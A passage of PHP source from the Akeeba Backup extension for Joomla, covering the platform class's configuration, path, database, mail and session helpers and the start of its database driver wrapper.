	 */
	public $priority = 50;

	/**
	 * This platform's name
	 *
	 * @var  string
	 */
	public $platformName = 'joomla';

	/**
	 * The database driver object to use
	 *
	 * @var   DatabaseInterface
	 * @since 9.3.0
	 */
	protected static $dbDriver = null;

	/**
	 * Flash variables for the CLI application. We use this array since we're hell bent on NOT using Joomla's broken
	 * session package.
	 *
	 * @var   array
	 *
	 * @since 5.3.5
	 */
	protected $flashVariables = [];

	/**
	 * Public constructor
	 */
	function __construct()
	{
		// New tables
		$this->tableNameProfiles = '#__akeebabackup_profiles';
		$this->tableNameStats    = '#__akeebabackup_backups';
	}

	/** @noinspection PhpUnused */
	public static function quirk_013()
	{
		$stock_dirs  = Platform::getInstance()->get_stock_directories();
		$default_out = @realpath($stock_dirs['[DEFAULT_OUTPUT]']);

		$registry = Factory::getConfiguration();
		$outdir   = $registry->get('akeeba.basic.output_directory');

		foreach ($stock_dirs as $macro => $replacement)
		{
			$outdir = str_replace($macro, $replacement, $outdir);
		}

		$outdir_real = @realpath($outdir);

		// If the output folder is the default one (or any subdir), we are safe
		if (strpos($outdir_real, $default_out) !== false)
		{
			return false;
		}

		$component_path = @realpath(JPATH_ADMINISTRATOR . '/components/com_akeebabackup');

		$forbiddenPaths = [
			'akeeba',
			'engine',
			'forms',
			'installers',
			'language',
			'layouts',
			'platform',
			'services',
			'sql',
			'src',
			'tmpl',
		];

		foreach ($forbiddenPaths as $subdir)
		{
			$checkPath = realpath($component_path . '/' . $subdir);

			if ($checkPath === false)
			{
				continue;
			}

			$checkPath .= DIRECTORY_SEPARATOR;

			if (strpos($outdir_real, $checkPath) === 0)
			{
				return true;
			}
		}

		return false;
	}

	/**
	 * Joomla 5+ with a custom public folder and Dereference Symlinks enabled
	 *
	 * @since  9.8.1
	 */
	public static function quirk_015()
	{
		$publicFolder = JoomlaPublicFolder::getPublicFolder();

		if ($publicFolder === JPATH_ROOT)
		{
			return false;
		}

		$registry = Factory::getConfiguration();

		return (bool) $registry->get('engine.archiver.common.dereference_symlinks', true);
	}

	/**
	 * Set the database driver object to be used by this platform class
	 *
	 * @param   DatabaseInterface  $dbDriver
	 *
	 * @since   9.3.0
	 */
	public static function setDbDriver(DatabaseInterface $dbDriver): void
	{
		self::$dbDriver = $dbDriver;
	}

	/**
	 * Get the database driver object used by this platform class
	 *
	 * @return  DatabaseInterface
	 *
	 * @since   9.3.0
	 */
	public static function getDbDriver(): DatabaseInterface
	{
		// If there is no DBO set we will go through the legacy part of the Joomla factory
		if (is_null(self::$dbDriver))
		{
			self::$dbDriver = JoomlaFactory::getContainer()->get(DatabaseInterface::class);
		}

		return self::$dbDriver;
	}

	/**
	 * Loads the current configuration off the database table
	 *
	 * @param   int  $profile_id  The profile where to read the configuration from, defaults to current profile
	 *
	 * @return  bool  True if everything was read properly
	 */
	public function load_configuration($profile_id = null, $reset = true)
	{
		// Load the configuration
		parent::load_configuration($profile_id, $reset);

		// If there is no embedded installer or the wrong embedded installer is selected, fix it automatically
		$config             = Factory::getConfiguration();
		$embedded_installer = $config->get('akeeba.advanced.embedded_installer', null);

		if (empty($embedded_installer) || ($embedded_installer == 'angie-joomla'))
		{
			$protectedKeys = $config->getProtectedKeys();
			$config->setProtectedKeys([]);
			$config->set('akeeba.advanced.embedded_installer', 'angie');
			$config->setProtectedKeys($protectedKeys);
		}

		return true;
	}

	/**
	 * Saves the current configuration to the database table
	 *
	 * @param   int  $profile_id  The profile where to save the configuration to, defaults to current profile
	 *
	 * @return  bool  True if everything was saved properly
	 */
	public function save_configuration($profile_id = null)
	{
		// If there is no embedded installer or the wrong embedded installer is selected, fix it automatically
		$config             = Factory::getConfiguration();
		$embedded_installer = $config->get('akeeba.advanced.embedded_installer', null);

		if (empty($embedded_installer) || ($embedded_installer == 'angie-joomla'))
		{
			$protectedKeys = $config->getProtectedKeys();
			$config->setProtectedKeys([]);
			$config->set('akeeba.advanced.embedded_installer', 'angie');
			$config->setProtectedKeys($protectedKeys);
		}

		// Save the configuration
		return parent::save_configuration($profile_id);
	}

	/**
	 * Performs heuristics to determine if this platform object is the ideal
	 * candidate for the environment Akeeba Engine is running in.
	 *
	 * @return bool
	 */
	public function isThisPlatform()
	{
		// Make sure _JEXEC is defined
		if (!defined('_JEXEC'))
		{
			return false;
		}

		// We need JVERSION to be defined
		if (!defined('JVERSION'))
		{
			return false;
		}

		// Check if the Joomla Factory class exists
		if (!class_exists('JFactory') && !class_exists('Joomla\CMS\Factory'))
		{
			return false;
		}

		// Check if a valid application class exists
		$appExists = class_exists('Joomla\CMS\Application\CMSApplication')
			|| class_exists('Joomla\CMS\Application\CliApplication');

		if (!$appExists)
		{
			return false;
		}

		return true;
	}

	/**
	 * Returns an associative array of stock platform directories
	 *
	 * @return array
	 */
	public function get_stock_directories()
	{
		static $stock_directories = [];

		if (empty($stock_directories))
		{
			$app    = JoomlaFactory::getApplication();
			$tmpdir = $app->get('tmp_path');
            $host   = $this->get_host();

			$stock_directories['[SITEROOT]']       = $this->get_site_root();
			$stock_directories['[ROOTPARENT]']     = @realpath($this->get_site_root() . '/..');
			$stock_directories['[SITETMP]']        = $tmpdir;
			$stock_directories['[DEFAULT_OUTPUT]'] = $this->get_site_root() . '/administrator/components/com_akeebabackup/backup';
			$stock_directories['[HOST]']           = empty($host) ? 'unknown_host' : $host;
		}

		return $stock_directories;
	}

	/**
	 * Returns the absolute path to the site's root
	 *
	 * @return string
	 */
	public function get_site_root()
	{
		static $root = null;

		if (empty($root) || is_null($root))
		{
			$root = JPATH_ROOT;

			if (empty($root) || ($root == DIRECTORY_SEPARATOR) || ($root == '/'))
			{
				// Try to get the current root in a different way
				if (function_exists('getcwd'))
				{
					$root = getcwd();
				}

				if (JoomlaFactory::getApplication()->isClient('administrator'))
				{
					if (empty($root))
					{
						$root = '../';
					}
					else
					{
						$adminPos = strpos($root, 'administrator');

						if ($adminPos !== false)
						{
							$root = substr($root, 0, $adminPos);
						}
						else
						{
							$root = '../';
						}

						// Degenerate case where $root = 'administrator' without a leading slash before entering this
						// if-block
						if (empty($root))
						{
							$root = '../';
						}
					}
				}
				else
				{
					if (empty($root) || ($root == DIRECTORY_SEPARATOR) || ($root == '/'))
					{
						$root = './';
					}
				}
			}

			if (!in_array(substr($root, -1), ['/', '\\']))
			{
				$root .= DIRECTORY_SEPARATOR;
			}
		}

		return $root;
	}

	/**
	 * Returns the absolute path to the installer images directory
	 *
	 * @return string
	 */
	public function get_installer_images_path()
	{
		return JPATH_ADMINISTRATOR . '/components/com_akeebabackup/installers';
	}

	/**
	 * Returns the active profile number
	 *
	 * @return int
	 */
	public function get_active_profile()
	{
		// Automated testing override
		if (!is_null(self::$profile_id) && (self::$profile_id > 0))
		{
			return self::$profile_id;
		}
		// Constant override
		elseif (defined('AKEEBA_PROFILE'))
		{
			return AKEEBA_PROFILE;
		}
		// Use the session. If it's a CLI app always default to profile #1 (unless explicitly set otherwise)
		else
		{
			$defaultProfile = JoomlaFactory::getApplication()->isClient('cli') ? 1 : null;

			return JoomlaFactory::getApplication()->getSession()->get('akeebabackup.profile', $defaultProfile);
		}
	}

	/**
	 * Returns the selected profile's name. If no ID is specified, the current
	 * profile's name is returned.
	 *
	 * @return string
	 */
	public function get_profile_name($id = null)
	{
		if (empty($id))
		{
			$id = $this->get_active_profile();
		}

		$id = (int) $id;

		$db  = Factory::getDatabase($this->get_platform_database_options());
		$sql = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('description'))
			->from($db->qn('#__akeebabackup_profiles'))
			->where($db->qn('id') . ' = ' . $db->q($id));
		$db->setQuery($sql);

		return $db->loadResult();
	}

	/**
	 * Returns the backup origin
	 *
	 * @return string Backup origin: backend|frontend
	 */
	public function get_backup_origin()
	{
		if (defined('AKEEBA_BACKUP_ORIGIN'))
		{
			return AKEEBA_BACKUP_ORIGIN;
		}

		$app = JoomlaFactory::getApplication();

		if ($app->isClient('administrator'))
		{
			return 'backend';
		}

		if ($app->isClient('site'))
		{
			return 'frontend';
		}

		return 'cli';
	}

	/**
	 * Returns a MySQL-formatted timestamp out of the current date
	 *
	 * @param   string  $date  [optional] The timestamp to use. Omit to use current timestamp.
	 *
	 * @return  string
	 */
	public function get_timestamp_database($date = 'now')
	{
		return (new Date($date))->toSql();
	}

	/**
	 * Returns the current timestamp, taking into account any TZ information,
	 * in the format specified by $format.
	 *
	 * @param   string  $format  Timestamp format string (standard PHP format string)
	 *
	 * @return string
	 */
	public function get_local_timestamp($format)
	{
		// Do I have a forced timezone?
		$tz = $this->get_platform_configuration_option('forced_backup_timezone', 'AKEEBA/DEFAULT');

		// No forced timezone set? Use the default Joomla! behavior.
		if (empty($tz) || ($tz == 'AKEEBA/DEFAULT'))
		{
			$tz = $this->getJoomlaTimezone();
		}

		$utcTimeZone = new DateTimeZone('UTC');
		$dateNow     = clone JoomlaFactory::getDate('now', $utcTimeZone);
		$timezone    = new DateTimeZone($tz);

		return $dateNow->setTimezone($timezone)->format($format, true);
	}

	/**
	 * Returns the current host name
	 *
	 * @return string
	 */
	public function get_host()
	{
		if (JoomlaFactory::getApplication()->isClient('cli'))
		{
			$url  = Platform::getInstance()->get_platform_configuration_option('siteurl', '');
			$oURI = new Uri($url);
		}
		else
		{
			// Running under the web server
			$oURI = Uri::getInstance();
		}

		return $oURI->getHost();
	}

	public function get_site_name()
	{
		return JoomlaFactory::getApplication()->get('sitename', '');
	}

	/**
	 * Gets the best matching database driver class, according to CMS settings
	 *
	 * @param   bool  $use_platform  If set to false, it will forcibly try to assign one of the primitive type
	 *                               (Mysql/Mysqli) and NEVER tell you to use a platform driver.
	 *
	 * @return string
	 */
	public function get_default_database_driver($use_platform = true)
	{
		// Since I am always running inside a Joomla application I use our wrapper driver.
		return \Akeeba\Engine\Driver\Joomla::class;
	}

	/**
	 * Returns a set of options to connect to the default database of the current CMS
	 *
	 * @return array
	 */
	public function get_platform_database_options()
	{
		static $options;

		if (empty($options))
		{
			$app     = JoomlaFactory::getApplication();
			$options = [
				'host'     => $app->get('host'),
				'user'     => $app->get('user'),
				'password' => $app->get('password'),
				'database' => $app->get('db'),
				'prefix'   => $app->get('dbprefix'),
				'ssl'      => [],
			];

			if ((int) $app->get('dbencryption') !== 0)
			{
				$options['ssl'] = [
					'enable'             => true,
					'verify_server_cert' => (bool) $app->get('dbsslverifyservercert'),
				];

				foreach (['cipher', 'ca', 'key', 'cert'] as $value)
				{
					$confVal = trim($app->get('dbssl' . $value, ''));

					if ($confVal !== '')
					{
						$options['ssl'][$value] = $confVal;
					}
				}
			}
		}

		return $options;
	}

	/**
	 * Provides a platform-specific translation function
	 *
	 * @param   string  $key  The translation key
	 *
	 * @return string
	 */
	public function translate($key)
	{
		/**
		 * The engine uses the legacy COM_AKEEBA_ prefix for b/c reasons. Version 9 and later use the COM_AKEEBABACKUP_
		 * prefix for language strings. This handles the automatic conversion between the two formats.
		 */
		$key = str_replace('COM_AKEEBA_', 'COM_AKEEBABACKUP_', strtoupper($key));

		return Text::_($key);
	}

	/**
	 * Populates global constants holding the Akeeba version
	 */
	public function load_version_defines()
	{
		$basePath = JPATH_ADMINISTRATOR . '/components/com_akeebabackup';

		if (file_exists($basePath . '/version.php'))
		{
			require_once($basePath . '/version.php');
		}

		if (!defined('AKEEBA_VERSION'))
		{
			define("AKEEBA_VERSION", "dev");
		}
		if (!defined('AKEEBA_PRO'))
		{
			define('AKEEBA_PRO', false);
		}
		if (!defined('AKEEBA_DATE'))
		{
			$date = clone JoomlaFactory::getDate();

			define("AKEEBA_DATE", $date->format('Y-m-d'));
		}
	}

	/**
	 * Returns the platform name and version
	 *
	 * @param   string  $platform_name  Name of the platform, e.g. Joomla!
	 * @param   string  $version        Full version of the platform
	 */
	public function getPlatformVersion()
	{
		$v = new Version();

		return [
			'name'    => 'Joomla!',
			'version' => $v->getShortVersion(),
		];
	}

	/**
	 * Logs platform-specific directories with LogLevel::INFO log level
	 */
	public function log_platform_special_directories()
	{
		$ret = [];

		Factory::getLog()->log(LogLevel::INFO, "JPATH_BASE         :" . JPATH_BASE, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "JPATH_SITE         :" . JPATH_SITE, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "JPATH_ROOT         :" . JPATH_ROOT, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "JPATH_CACHE        :" . JPATH_CACHE, ['translate_root' => false]);
		Factory::getLog()->log(LogLevel::INFO, "Computed <root>    :" . $this->get_site_root(), ['translate_root' => false]);

		// If the release is older than 3 months, issue a warning
		if (defined('AKEEBA_DATE'))
		{
			$releaseDate = clone JoomlaFactory::getDate(AKEEBA_DATE);

			if (time() - $releaseDate->toUnix() > 10368000)
			{
				if (!isset($ret['warnings']))
				{
					$ret['warnings'] = [];
					$ret['warnings'] = array_merge($ret['warnings'], [
						'Your version of Akeeba Backup is more than 120 days old and most likely already out of date. Please check if a newer version is published and install it.',
					]);
				}
			}

		}

		// Detect UNC paths and warn the user
		if (DIRECTORY_SEPARATOR == '\\')
		{
			if ((substr(JPATH_ROOT, 0, 2) == '\\\\') || (substr(JPATH_ROOT, 0, 2) == '//'))
			{
				if (!isset($ret['warnings']))
				{
					$ret['warnings'] = [];
				}

				$ret['warnings'] = array_merge($ret['warnings'], [
					'Your site\'s root is using a UNC path (e.g. \\\\SERVER\\path\\to\\root). PHP has known bugs which may',
					'prevent it from working properly on a site like this. Please take a look at',
					'https://bugs.php.net/bug.php?id=40163 and https://bugs.php.net/bug.php?id=52376. As a result your',
					'backup may fail.',
				]);
			}
		}

		if (empty($ret))
		{
			$ret = null;
		}

		return $ret;
	}

	/**
	 * Loads a platform-specific software configuration option
	 *
	 * @param   string  $key
	 * @param   mixed   $default
	 *
	 * @return mixed
	 */
	public function get_platform_configuration_option($key, $default)
	{
		if (in_array($key, ['update_dlid', 'dlid', 'downloadid']))
		{
			return $this->getDownloadId('pkg_akeebabackup');
		}

		$value = ComponentHelper::getParams('com_akeebabackup')->get($key, $default);

		// Some configuration options may have to be decrypted
		switch ($key)
		{
			case 'frontend_secret_word':
				$secureSettings = Factory::getSecureSettings();
				$value          = $secureSettings->decryptSettings($value);
				break;
		}

		return $value;
	}

	/**
	 * Returns a list of emails to the Super Administrators
	 *
	 * @return  array
	 */
	public function get_administrator_emails()
	{
		$options = $this->get_platform_database_options();
		$db      = Factory::getDatabase($options);

		// Get all usergroups with Super User access
		$q      = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select([$db->qn('id')])
			->from($db->qn('#__usergroups'));
		$groups = $db->setQuery($q)->loadColumn();

		// Get the groups that are Super Users
		$groups = array_filter($groups, function ($gid) {
			return Access::checkGroup($gid, 'core.admin');
		});

		$mails = [];

		foreach ($groups as $gid)
		{
			$uids = Access::getUsersByGroup($gid);
			array_walk($uids, function ($uid, $index) use (&$mails) {
				$mails[] = JoomlaFactory::getContainer()
					->get(UserFactoryInterface::class)
					->loadUserById($uid)
					->email;
			});
		}

		return array_unique($mails);
	}

	/**
	 * Sends a very simple email using the platform's mailer facility
	 *
	 * @param   string  $to          The recipient's email address
	 * @param   string  $subject     The subject of the email
	 * @param   string  $body        The body of the email
	 * @param   string  $attachFile  The file to attach (null to not attach any files)
	 *
	 * @return  boolean
	 */
	public function send_email($to, $subject, $body, $attachFile = null)
	{
		Factory::getLog()->log(LogLevel::DEBUG, "-- Fetching mailer object");

		/** @var Mail $mailer */
		try
		{
			$mailer = Platform::getInstance()->getMailer();
		}
		catch (Exception $e)
		{
			$mailer = null;
		}

		if (!is_object($mailer))
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not send email to $to - Joomla! cannot send e-mails. Please check your From EMail and From Name fields in Global Configuration.");

			return false;
		}

		Factory::getLog()->log(LogLevel::DEBUG, "-- Creating email message");

		try
		{
			$recipient = [$to];

			$mailer->addRecipient($recipient);
			$mailer->setSubject($subject);
			$mailer->setBody($body);
		}
		catch (Exception $e)
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not send email to $to - Problem setting up the email. Joomla! reports error: " . $e->getMessage());

			return false;
		}

		try
		{
			if (!empty($attachFile))
			{
				Factory::getLog()->log(LogLevel::INFO, "-- Attaching $attachFile");

				if (!file_exists($attachFile) || !(is_file($attachFile) || is_link($attachFile)))
				{
					Factory::getLog()->log(LogLevel::WARNING, "The file does not exist, or it's not a file; no email sent");

					return false;
				}

				if (!is_readable($attachFile))
				{
					Factory::getLog()->log(LogLevel::WARNING, "The file is not readable; no email sent");

					return false;
				}

				$filesize = @filesize($attachFile);

				if ($filesize)
				{
					// Check that we have AT LEAST 2.5 times free RAM as the filesize (that's how much we'll need)
					if (!function_exists('ini_get'))
					{
						// Assume 8Mb of PHP memory limit (worst case scenario)
						$totalRAM = 8388608;
					}
					else
					{
						$totalRAM = ini_get('memory_limit');
						if (strstr($totalRAM, 'M'))
						{
							$totalRAM = (int) $totalRAM * 1048576;
						}
						elseif (strstr($totalRAM, 'K'))
						{
							$totalRAM = (int) $totalRAM * 1024;
						}
						elseif (strstr($totalRAM, 'G'))
						{
							$totalRAM = (int) $totalRAM * 1073741824;
						}
						else
						{
							$totalRAM = (int) $totalRAM;
						}
						if ($totalRAM <= 0)
						{
							// No memory limit? Cool! Assume 1Gb of available RAM (which is absurdely abundant as of March 2011...)
							$totalRAM = 1086373952;
						}
					}
					if (!function_exists('memory_get_usage'))
					{
						$usedRAM = 8388608;
					}
					else
					{
						$usedRAM = memory_get_usage();
					}

					$availableRAM = $totalRAM - $usedRAM;

					if ($availableRAM < 2.5 * $filesize)
					{
						Factory::getLog()->log(LogLevel::WARNING, "The file is too big to be sent by email. Please use a smaller Part Size for Split Archives setting.");
						Factory::getLog()->log(LogLevel::DEBUG, "Memory limit $totalRAM bytes -- Used memory $usedRAM bytes -- File size $filesize -- Attachment requires approx. " . (2.5 * $filesize) . " bytes");

						return false;
					}
				}
				else
				{
					Factory::getLog()->log(LogLevel::WARNING, "Your server fails to report the file size of $attachFile. If the backup crashes, please use a smaller Part Size for Split Archives setting");
				}

				$mailer->addAttachment($attachFile);
			}
		}
		catch (Exception $e)
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not send email to $to - Problem attaching file. Joomla! reports error: " . $e->getMessage());

			return false;
		}

		Factory::getLog()->log(LogLevel::DEBUG, "-- Sending message");

		try
		{
			$result = $mailer->Send();
		}
		catch (Exception $e)
		{
			$result = $e;
		}

		if ($result instanceof Exception)
		{
			Factory::getLog()->log(LogLevel::WARNING, "Could not email $to:");
			Factory::getLog()->log(LogLevel::WARNING, $result->getMessage());
			$ret = $result->getMessage();
			unset($result);
			unset($mailer);

			return $ret;
		}

		Factory::getLog()->log(LogLevel::DEBUG, "-- Email sent");

		return true;
	}

	/**
	 * Deletes a file from the local server using direct file access or FTP
	 *
	 * @param   string  $file
	 *
	 * @return bool
	 */
	public function unlink($file)
	{
		// return (@unlink($file) === false) ? File::delete($file) : $result;

		return @unlink($file);
	}

	/**
	 * Moves a file around within the local server using direct file access or FTP
	 *
	 * @param   string  $from
	 * @param   string  $to
	 *
	 * @return bool
	 */
	public function move($from, $to)
	{
		$result = @rename($from, $to);

		if (!$result)
		{
			$result = @copy($from, $to) && @unlink($from);

			if (!$result)
			{
				@unlink($to);
			}
		}

		return $result;
	}

	/**
	 * Joomla!-specific function to get an instance of the mailer class
	 *
	 * @return Mail
	 */
	public function &getMailer()
	{
		/** @var Mail $mailer */
		$mailer = JoomlaFactory::getContainer()->get(MailerFactoryInterface::class)->createMailer();

		if (!is_object($mailer))
		{
			Factory::getLog()->log(LogLevel::WARNING, "Fetching Joomla!'s mailer was impossible; imminent crash!");
		}
		else
		{
			$emailMethod = $mailer->Mailer;
			Factory::getLog()->log(LogLevel::DEBUG, "-- Joomla!'s mailer is using $emailMethod mail method.");
		}

		return $mailer;
	}

	/**
	 * Stores a flash (temporary) variable in the session.
	 *
	 * @param   string  $name   The name of the variable to store
	 * @param   string  $value  The value of the variable to store
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function set_flash_variable($name, $value)
	{
		JoomlaFactory::getApplication()->getSession()->set(sprintf("akeebabackup.%s", $name), $value);
	}

	/**
	 * Return the value of a flash (temporary) variable from the session and
	 * immediately removes it.
	 *
	 * @param   string  $name     The name of the flash variable
	 * @param   mixed   $default  Default value, if the variable is not defined
	 *
	 * @return  mixed  The value of the variable or $default if it's not set
	 * @throws  Exception
	 */
	public function get_flash_variable($name, $default = null)
	{
		/** @var Session $session */
		$session   = JoomlaFactory::getApplication()->getSession();
		$flashName = sprintf("akeebabackup.%s", $name);
		$ret       = $session->get($flashName, $default);

		$session->remove($flashName);

		return $ret;
	}

	/**
	 * Perform an immediate redirection to the defined URL
	 *
	 * @param   string  $url  The URL to redirect to
	 *
	 * @return  void
	 * @throws  Exception
	 */
	public function redirect($url)
	{
		/**
		 * Redirecting to bare "index.php?..." URLs in the backend of Joomla 4 and later results in a redirection taking
		 * place to a front-end URL. The trick below will automatically convert these relative URLs to absolute URLs
		 * which Joomla can now handle correctly.
		 */
		if (substr($url, 0, 9) === 'index.php')
		{
			$givenUri = new Uri($url);
			$newUri   = new Uri(Uri::base());

			$newUri->setQuery($givenUri->getQuery());

			if ($givenUri->getFragment())
			{
				$newUri->setFragment($givenUri->getFragment());
			}

			$url = $newUri->toString();
		}

		JoomlaFactory::getApplication()->redirect($url);
	}

	public function apply_quirk_definitions()
	{
		$configurationCheck = Factory::getConfigurationChecks();
		$configurationCheck->addConfigurationCheckDefinition('013', 'critical', 'COM_AKEEBABACKUP_CPANEL_WARNING_Q013', [
			Joomla::class, 'quirk_013',
		]);
		$configurationCheck->addConfigurationCheckDefinition('015', 'critical', 'COM_AKEEBABACKUP_CPANEL_WARNING_Q015', [
			Joomla::class, 'quirk_015',
		]);
	}

	/**
	 * Returns additional data to put in the installation/extrainfo.json file in the backup archive.
	 *
	 * @return  array
	 *
	 * @since   9.8.1
	 */
	public function get_extra_info(): array
	{
		return [
			// Does the site have a custom public directory?
			'custom_public'  => JoomlaPublicFolder::hasCustomPublicFolderAutoIncluded(),
			// Where Joomla files are saved in
			'JPATH_ROOT'     => JPATH_ROOT,
			// Where the custom root is placed in
			'JPATH_PUBLIC'   => JoomlaPublicFolder::getPublicFolder(),
		];
	}

	/** @inheritdoc  */
	protected function detectProxySettings()
	{
		try
		{
			$app = JoomlaFactory::getApplication();
		}
		catch (Exception $e)
		{
			$this->proxyEnabled                = false;
			$this->hasInitialisedProxySettings = true;
		}

		$enabled = $app->get('proxy_enable', false);
		$host    = $app->get('proxy_host', '');
		$port    = (int) $app->get('proxy_port', 8080);
		$user    = $app->get('proxy_user', '');
		$pass    = $app->get('proxy_pass', '');

		$this->setProxySettings($enabled, $host, $port, $user, $pass);
	}

	/**
	 * Get the applicable timezone in the same way Joomla! calculates it: if there is a logged in
	 * user with a specific timezone set, use it. Otherwise use the Server Timezone defined in the
	 * site's Global Configuration. If nothing is set there, use GMT instead.
	 *
	 * @return  string
	 */
	private function getJoomlaTimezone()
	{
		// Out ultimate default is the server timezone set up in the Global Configuration
		/** @var CMSApplication $app */
		$app = JoomlaFactory::getApplication();
		$tz  = $app->get('offset', 'GMT');

		// If this is a CLI script, tough luck, we can't use a different TZ
		if ($app->isClient('cli'))
		{
			return $tz;
		}

		// If it's a guest user they can't have a special TZ set, return.
		$user = $app->getIdentity() ?? JoomlaFactory::getContainer()->get(UserFactoryInterface::class)->loadUserById(0);

		if ($user->guest)
		{
			return $tz;
		}

		$tz = $user->getParam('timezone', $tz);

		return $tz;
	}

	/**
	 * Gets the Download ID for a given package
	 *
	 * @param   string  $package
	 */
	private function getDownloadId(string $package = 'pkg_akeebabackup')
	{
		static $cache = [];

		if (isset($cache[$package]))
		{
			return $cache[$package];
		}

		$dbOptions = $this->get_platform_database_options();
		$db        = Factory::getDatabase($dbOptions);

		// Get the package type
		$query = (method_exists($db, 'createQuery') ? $db->createQuery() : $db->getQuery(true))
			->select($db->qn('us.extra_query'))
			->from($db->qn('#__update_sites') . ' ' . $db->qn('us'))
			->innerJoin($db->qn('#__update_sites_extensions') . ' ' . $db->qn('ue') .
				' ON(' .
				$db->qn('ue.update_site_id') . ' = ' . $db->qn('us.update_site_id') .
				')'
			)
			->innerJoin($db->qn('#__extensions') . ' ' . $db->qn('e') .
				' ON(' .
				$db->qn('ue.extension_id') . ' = ' . $db->qn('e.extension_id') .
				')'
			)
			->where($db->qn('e.type') . ' = ' . $db->q('package'))
			->where($db->qn('e.element') . ' = ' . $db->q('pkg_akeebabackup'));
		try
		{
			$extraQuery = $db->setQuery($query)->loadResult() ?? '';
		}
		catch (Exception $e)
		{
			return '';
		}

		if (empty($extraQuery) || (strpos($extraQuery, 'dlid=') !== 0))
		{
			return '';
		}

		[$cache[$package],] = explode('&', substr($extraQuery, 5), 2);

		return $cache[$package];
	}
}
PK     \~dnA&  A&  !  platform/Joomla/Driver/Joomla.phpnu [        <?php
/**
 * @package   akeebabackup
 * @copyright Copyright 2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   GNU General Public License version 3, or later
 */

namespace Akeeba\Engine\Driver;

// Protection against direct access
defined('_JEXEC') || die();

use Exception;
use Joomla\Database\DatabaseDriver;
use Joomla\Database\DatabaseInterface;
use Joomla\Database\Mysql\MysqlDriver;
use Joomla\Database\Mysqli\MysqliDriver;
use Joomla\Database\Pdo\PdoDriver;
use Joomla\Database\Pgsql\PgsqlDriver;
use Joomla\Database\Sqlazure\SqlazureDriver;
use Joomla\Database\Sqlite\SqliteDriver;
use Joomla\Database\Sqlsrv\SqlsrvDriver;
use ReflectionObject;
use RuntimeException;

class Joomla
{
	/** @var Base The real database connection object */
	private $dbo;

	/**
	 * Database object constructor
	 *
	 * @param   array  $options  List of options used to configure the connection
	 */
	public function __construct($options = [])
	{
		// Get the database driver *AND* make sure it's connected.
		/** @var DatabaseInterface|null $db */
		$db = \Akeeba\Engine\Platform\Joomla::getDbDriver();

		if (empty($db))
		{
			throw new RuntimeException("Joomla does not return a database driver.");
		}

		$db->connect();

		$options['connection'] = $db->getConnection();

		$driver = $this->getDriverType($db);

		if (empty($driver))
		{
			throw new RuntimeException("Unsupported database driver {$db->getName()}");
		}

		$driver    = '\\Akeeba\\Engine\\Driver\\' . ucfirst($driver);
		$this->dbo = new $driver($options);
	}

	public function close()
	{
		/**
		 * We should not, in fact, try to close the connection by calling the parent method.
		 *
		 * If you close the connection, we ask PHP's mysql / mysqli / pdomysql driver to disconnect the MySQL connection
		 * resource from the database server inside our instance of Akeeba Engine's database driver. However, this
		 * identical resource is also present in Joomla's database driver. Joomla will also try to close the connection
		 * to a now invalid resource, causing a PHP notice to be recorded.
		 *
		 * By setting the connection resource to null in our own driver object we prevent closing the resource,
		 * delegating that responsibility to Joomla. It will gladly do so at the very least automatically, through its
		 * db driver's __destruct.
		 */
		$this->dbo->setConnection(null);
	}

	public function open()
	{
		if (method_exists($this->dbo, 'open'))
		{
			$this->dbo->open();

			return;
		}

		if (method_exists($this->dbo, 'connect'))
		{
			$this->dbo->connect();
		}
	}

	/**
	 * DO NOT REMOVE. THIS METHOD NEEDS TO BE CONCRETE.
	 *
	 * Our workaround for Joomla! 5.1+ is to check if the driver object has a createQuery method. Therefore,
	 * this shim method needs to be concrete instead of falling back to the generic __call() magic method.
	 *
	 * @return Query\Base
	 */
	public function createQuery()
	{
		if (method_exists($this->dbo, 'createQuery'))
		{
			return $this->dbo->createQuery();
		}

		return $this->dbo->getQuery(true);
	}

	/**
	 * Magic method to proxy all calls to the loaded database driver object
	 *
	 * @throws  Exception
	 */
	public function __call($name, array $arguments)
	{
		if (is_null($this->dbo))
		{
			throw new Exception('Akeeba Engine database driver is not loaded');
		}

		if (method_exists($this->dbo, $name) || in_array($name, ['q', 'nq', 'qn']))
		{
			return $this->dbo->{$name}(...$arguments);
		}

		throw new Exception('Method ' . $name . ' not found in Akeeba Platform');
	}

	public function __get($name)
	{
		if (isset($this->dbo->$name) || property_exists($this->dbo, $name))
		{
			return $this->dbo->$name;
		}

		$this->dbo->$name = null;

		user_error('Database driver does not support property ' . $name);

		return null;
	}

	public function __set($name, $value)
	{
		if (isset($this->dbo->name) || property_exists($this->dbo, $name))
		{
			$this->dbo->$name = $value;

			return;
		}

		$this->dbo->$name = null;
		user_error('Database driver not support property ' . $name);
	}

	/**
	 * Get the Akeeba Engine database driver type for the Joomla database object.
	 *
	 * Weak typing of the argument is deliberate. The class hierarchy of the database driver classes may change even
	 * within the same major version of Joomla, as happened in the past with Joomla 3. Having weak typing we can amend
	 * this method to straddle the change, i.e. make it compatible with Joomla versions before and after the change. In
	 * simple terms, it's future–proofing.
	 *
	 * @param   DatabaseInterface|DatabaseDriver  $db
	 *
	 * @return  string|null  The driver type; null if unsupported
	 */
	private function getDriverType($db): ?string
	{
		// Make sure we got an object
		if (!is_object($db))
		{
			return null;
		}

		// Get the Joomla database driver name — assuming the object passed is a DatabaseInterface instance
		if (method_exists($db, 'getName'))
		{
			$jDriverName = $db->getName();
		}
		else
		{
			// On Joomla 4 this is supposed to raise an E_USER_DEPRECATED notice
			$jDriverName = $db->name ?? '';
		}

		// Quick shortcuts to known core Joomla database drivers
		if (in_array($jDriverName, ['mysql', 'pdomysql']))
		{
			return 'pdomysql';
		}
		elseif ($jDriverName === 'mysqli')
		{
			return 'mysqli';
		}
		elseif ($jDriverName === 'pgsql' || $jDriverName === 'postgresql')
		{
			return 'postgresql';
		}
		elseif (
			(stristr($jDriverName, 'postgre') !== false)
			|| (stristr($jDriverName, 'pgsql') !== false)
			|| (stristr($jDriverName, 'oracle') !== false)
